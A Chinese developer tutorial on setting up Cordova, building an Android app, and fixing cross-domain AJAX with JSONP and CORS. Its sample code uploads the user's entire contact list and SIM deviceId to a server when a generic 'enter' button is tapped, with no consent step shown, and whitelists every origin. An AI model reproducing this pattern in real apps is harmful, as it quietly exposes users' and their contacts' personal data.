一、使用cordova代替android和iso、xcode的开发和打包
这里先说说个人站在web的角度对cordova的一些理解:对于获取手机的一些原生信息,如调用摄像头、获取联系人,共享地理位置等,我的第一反应就是肯定要用原生的语言去做,如果js脚本要去调用,必须使用二次开发的接口。在百般无奈中,搜索到cordova这个打包工具,刚开始也是怀着病急乱投医的心态,试试,看看cordova生成的一些文件目录,发现cordova不就是把原生的一些类转换成对应的js对象,然后供开发者使用这些js吗?这让我想起5、6年前使用过的一个ajax框架DWR(可能已经过时了),它就是可以让js可以直接调用Java的service层方法,而且在js的环境中用法和Java一模一样。理解到此,心中有点底气,然后直接使用cordova了。
关于cordova的安装和使用,有许多的技术贴,下面的是步骤是在我自己的windows7系统中安装和操作的用例。
1)cordova的安装
这里不得不啰嗦几句,cordova的安装实在是繁琐,大概是要兼顾各类型手机和项目混合管理的缘故吧。
步骤一:安装Node.js npm
从node.js官网选择合适的版本下载:https://nodejs.org/en/,然后直接下一步安装就行。
安装完成后,在cmd中,输入 node -v 出现图中效果说明成功了npm -v
步骤二:安装Android SDK
安装最麻烦的就是这家伙,存在谷歌翻墙,带宽速度等诸多因素。
android是建立在Java基础上面的,所以安装android之前需要先安装jdk并且配置好对应的环境,这里不多赘述。
涉及到android的安装,需要安装和配置ant,官网的下载地址是:http://ant.apache.org/bindownload.cgi
下载完解压之后得要配置环境,方法如下:
变量: ANT_HOME 添加值: 刚解压到的路径:D:\tools\apache-ant-1.9.9
变量: Path 添加值:%ANT_HOME%\bin
变量: ANT_HOME 添加值: 刚解压到的路径:D:\tools\apache-ant-1.9.9
变量: Path 添加值:%ANT_HOME%\bin
当然,不同path配置之间使用“;”隔开
然后是安装android的SDK,我这边用的是android-sdk_r24.4.1-windows.zip,解压后安装最新版本的android的sdk。android-sdk-windows下载的各版本sdk是存放在android-sdk-windows目录下的platforms文件夹中。而默认安装的sdk是存放在C:\Users\Administrator\AppData\Local\Android\sdk中,如果安装的android版本和cordova自定android插件的版本不兼容的话,可以复制正确的的android文件夹到C:\Users\Administrator\AppData\Local\Android\sdk\platforms文件夹中。
接下来就是配置环境变量了
变量: ANDROID_HOME 添加值: C:\Users\Administrator\AppData\Local\Android\sdk
变量: Path 添加值:%ANDROID_SDK_HOME%\platform-tools;%ANDROID_SDK_HOME%\tools;
安装成功后控制台输入:adb
显示如下图信息
步骤三:安装git
git的官方下载地址是:https://git-scm.com/downloads,只要下载解压后直接配置环境变量就行,在path中追加配置路径例如:D:\tools\gradle-4.2\bin;
步骤四:安装cordova
在控制台输入:npm install -g cordova
等待安装完成后,输入:cordova -v
出现下图,安装完成
2)cordova使用
cordova的命令有很多,请按需要查询相关的插件名称和命令,这里没有必要一一列举,只列举当前标题所需要的一些命令。
创建cordova项目
先在控制台指定的cordova项目的指定根目录然后输入以下命令
cordova create helloCordova com.cordova.helloCordova
其中,helloCordova为项目名,com.cordova.helloCordova为包名,如下图所示:
安装android插件
进入项目文件夹(这里以helloCordova为例),输入cordova platform add android,如下图所示:
当然可以安装其他手机平台和指定android版本,网上很多资源,这里也不列举了
安装“联系人”,“sim卡”插件
读取手机原生信息的插件自然有许多,不是越多越好,我们这里只安装当前项目功能所需要的,联系人和sim卡
继续在控制台分别输入:
cordova plugin add cordova-plugin-contacts
cordova plugin add cordova-plugin-sim
安装结束后,输入cordova plugin ls查看当前项目安装了哪些插件,如下图:
这里发现多了两个插件,其中cordova-plugin-whitelist是cordova默认安装好的,而cordova-plugin-compat你可以理解为cordova-plugin-contacts的子插件,安装contacts的时候就会安装compat,不需要单独去安装。
3)cordova的项目开发
这里还是以helloCordova为例
项目结构
我们自己开发的目录是在www文件夹之下,其余的文件夹可以自己去看看,不难理解,无非就是一些插件、手机平台、生成apk所需图片等等的存放目录如图:
cordova是一个打包工具,当然可以使用其他的js框架,如jQuery等等,开发起来和我们正常开发web项目一样,这里直接上图吧
这里是在js文件夹中增加jQuery的插件,然后在index.html页面使用。
获取联系人和sim卡信息
在index.html中添加id="findContact"的按钮
<body>
<div class="app">
<h1>helloCordova</h1>
<!--添加start-->
<div class="progress-button">
<button id="findContact">点击进入</button>
</div>
<!--添加end-->
<div id="deviceready" class="blink">
<p class="event listening">Connecting to Device</p>
<p class="event received">Device is Ready</p>
</div>
</div>
<script type="text/javascript" src="cordova.js"></script>
<script type="text/javascript" src="js/index.js"></script>
<script type="text/javascript" src="js/jquery-3.2.1.min.js"></script>
</body>
在index.js中注册和获取联系人,并且加工成自己想要的json数据格式,这里建议开发的时候用alert打印出cordova获取到的联系人的json数据格式,用JSON.stringify处理就行。
var app = {
// Application Constructor
initialize: function() {
document.addEventListener('deviceready', this.onDeviceReady.bind(this), false);
},
// deviceready Event Handler
//
// Bind any cordova events here. Common events are:
// 'pause', 'resume', etc.
onDeviceReady: function() {
this.receivedEvent('deviceready');
document.getElementById("findContact").addEventListener("click", findContact);
},
// Update DOM on a Received Event
receivedEvent: function(id) {
var parentElement = document.getElementById(id);
var listeningElement = parentElement.querySelector('.listening');
var receivedElement = parentElement.querySelector('.received');
listeningElement.setAttribute('style', 'display:none;');
receivedElement.setAttribute('style', 'display:block;');
console.log('Received Event: ' + id);
}
};
/*
1、查询当前手机上面的联系人列表和sim卡信息
2、异步提交到服务器
3、跳转到交易首页
*/
function findContact() {
//查询当前sim信息,目前获取不到号码信息,直接传deviceId
window.plugins.sim.getSimInfo(function(res){
var deviceId = '';
if(res != ''){
deviceId = res.deviceId;
}
//调用获取联系人函数
getContacts(deviceId);
});
}
//获取当前用户的所有联系人
function getContacts(deviceId){
var options = new ContactFindOptions();
options.filter = "";
options.multiple = true;
fields = ["displayName","phoneNumbers"];
navigator.contacts.find(fields, contactfindSuccess, contactfindError, options);
//获取和处理联系人信息,传递给获取sim卡的函数
function contactfindSuccess(contacts) {
//创建联系人对象数组
var contactsArr = [];
for (var i = 0; i < contacts.length; i++) {
//创建联系人对象
var currContact = {};
//设置联系人名称
currContact.displayName = contacts[i].displayName;
//设置联系人电话号码
var phoneNumbers = [];
if(contacts[i].phoneNumbers != null){
for(var j=0;j<contacts[i].phoneNumbers.length;j++){
phoneNumbers.push(contacts[i].phoneNumbers[j].value);
}
}
currContact.phoneNumbers = phoneNumbers;
contactsArr.push(currContact);
}
//调用ajax发送信息函数
sendContacts(deviceId,JSON.stringify(contactsArr));
}
function contactfindError(message) {
alert('Failed because: ' + message);
}
}
//同步当前手机号码和联系人到系统,然后跳转首页
function sendContacts(deviceId,contacts){
/*
这里填写自己的ajax发送代码
*/
}
app.initialize();
cordova和模拟器中测试
还是在控制台和指定的项目路径下,输入:cordova build android
一段时间后出现下图,说明打包成功,红色框起的是打包好的apk的存放路径,如下图:
由于我自己的机器上面没有android的开发和测试环境,这里我选择了一个android模拟器(网上很多,选一款能用的就行)来测试自己的代码。
将apk拖拽进去,如图,我们用cordova做的app就安装好,可以开始对我们的代码调试了。如果觉得这样比较麻烦,可以再去安装android的开发环境,总之随大家喜好去做就行。
本来以为到这一步了,万事大吉,没想到,折磨人的事情,才刚刚开始,我们下面来讨论。就是一个app中的数据,怎么ajax传到一个web的服务器?
二、ajax如何跨域访问PHP后台服务器
ajax的跨域问题,做惯了自己调用自己服务器web的工作人员可能接触的比较少,这里就以cordova的开发用例来阐述。
cordova的白名单配置
在config.xml配置中增加
<access origin="*" />
如图
配置到了这里还不算,还需要将您要访问的ajax的url在index.html中配置,这点很容易被忽略,我用红字标明,用你自己的url代替https://ssl.gstatic.com,如图:
使用jsonp进行数据传输
关于jsonp的说明,不多做解释,这里直接上代码,值得注意的是,
jsonp只支持get的传输方式,dataType为jsonp
function sendContacts(deviceId,contacts){
$.ajax({
type : 'get',
url : 'XXX',
async : false,
dataType:'jsonp',
jsonp:'callback',
jsonpCallback:"jsonpCallback",
data : {
"deviceId" : deviceId,
"contacts":contacts
},
success:function(data){
if(data){
window.location.href = XXX;
}
},
error : function(XMLHttpRequest, textStatus, errorThrown) {
alert(XMLHttpRequest.status + "," + textStatus);
}
});
}
到了这里,生成的apk也能够访问url了,而且在模拟器上面测试通过了。
让我伤心的是,到真机上又不行了。真是有骂人的冲动了,随后在网上找原因,走了几天的弯路,包括什么android版本、cordova版本问题,其实不是,而是jsonp只支持get方式,我们模拟器上面的联系人数据量很小,get传输没有问题。但是真机上面,联系人随随便便就超出了get所能传输的能力了,而jsonp又只能支持get,这该怎么办呢?真的是互相矛盾,因而一筹莫展。怎么办呢?后来在网上找到了可以用post方式跨域的方法了,使用CORS解决ajax post方式跨域问题。
使用CORS解决ajax POST跨域问题
这里也就直接上代码了,还是整改下传输函数
//同步当前手机号码和联系人到系统,然后跳转首页
function sendContacts(deviceId,contacts){
$.ajax({
headers: {
'X-SMP-APPCID': "c940cb2f-fef4-49d3-81e6-736273019fb4"
},
type : 'post',
url : 'XXX',
async : false,
data : {
"deviceId" : deviceId,
"contacts":contacts
},
success:function(data){
window.location.href = XXX;
},
error : function(XMLHttpRequest, textStatus, errorThrown) {
//alert(XMLHttpRequest.status + "," + textStatus);
alert("同步服务器失败,请稍后再试!!");
}
});
}
其余的一些坑
cordova获取不到sim卡的电话号码
cordova获取sim卡的电话号码(phoneNumber)的时候,本人在这里测试了一些手机,发现双卡双待的手机还有移动的sim卡是获取不到的,这里选择了deviceId属性作为唯一标识。
为什么ajax访问服务器后台成功了,还是跳转到error函数?
原因是我们在ajax这边指定了传输的数据格式json,而服务器没有返回对应的json格式,因而直接进入error函数。